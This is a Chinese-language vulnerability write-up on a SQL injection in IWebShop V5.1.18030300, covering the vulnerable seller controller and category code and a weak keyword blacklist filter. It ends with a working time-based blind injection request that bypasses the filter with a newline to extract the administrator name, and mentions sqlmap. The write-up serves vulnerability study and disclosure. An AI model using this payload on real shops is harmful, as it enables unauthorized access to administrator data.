前言

导致这个漏洞的原因,是因为程序员忘记在拼接SQL语句时添加限制,以及在过滤语句中犯了比较低级的错误。

版本:IWebShopV5.1.18030300

漏洞分析

漏洞函数存在于/controller/seller.php:1498

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function categoryAjax()
{
$id = IFilter::act(IReq::get('id'));
$parent_id = IFilter::act(IReq::get('parent_id'));
if($id && is_array($id))
{
foreach($id as $category_id)
{
$childString = goods_class::catChild($category_id);//父类ID不能死循环设置成其子分类
if($parent_id > 0 && stripos(",".$childString.",",",".$parent_id.",") !== false)
{
die(JSON::encode(array('result' => 'fail')));
}
}

使用IReq::get函数接受传入数据后,传入IFilter::act函数进行过滤,没有第二个参数的情况下,默认使用’string’方式过滤,即给参数添加转义,相关代码就不贴了。

上面将接受的$id数组处理后,传入了catChild函数,跟进查看/classes/goods_class.php:669

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static function catChild($catId,$level = 1)
{
if($level == 0)
{
return $catId;
}

$temp = array();
$result = array($catId);
$catDB = new IModel('category');

while(true)
{
$id = current($result);
if(!$id)
{
break;
}
$temp = $catDB->query('parent_id = '.$id);

这里把$id直接拼接进了SQL语句,但是并没有添加引号,前面的过滤也就起不到作用,导致我们可以构造SQL语句进行注入

有趣的是,该系统自己写了个基于黑名单的过滤语句,看起来相当烂,在/lib/core/util/filter_class.php:271

1
2
3
4
5
6
7
8
9
10
11
12
public static function word($str)
{
$word = array("select ","select/*","update ","update/*","delete ","delete/*","insert into","insert/*","updatexml","concat","()","`","/**/","union(");
foreach($word as $val)
{
if(stripos($str,$val) !== false)
{
return '';
}
}
return self::removeEmoji($str);
}

这里对select的过滤仅仅是匹配了两种形式,我们完全可以使用select%0aselect(等多种方式绕过。值得吐槽的还有后面这个(),难道就为了防止我注出系统变量。。。

漏洞利用

1、注册商家账号,后台审核通过(复现可直接后台添加商家),然后需要在商品分类处添加一个分类用于时间盲注

2、前台登陆商家管理,构造类似如下数据包

URL:/index.php?controller=seller&action=categoryAjax

POST:id[]=0 and if(ascii(substr((select%0aadmin_name from admin),1,1))%3d97,sleep(10),1)&parent_id=0

(此处的表名admin不需要添加前缀,CMS会自动添加)

img

当然,使用sqlmap跑盲注更加方便:

img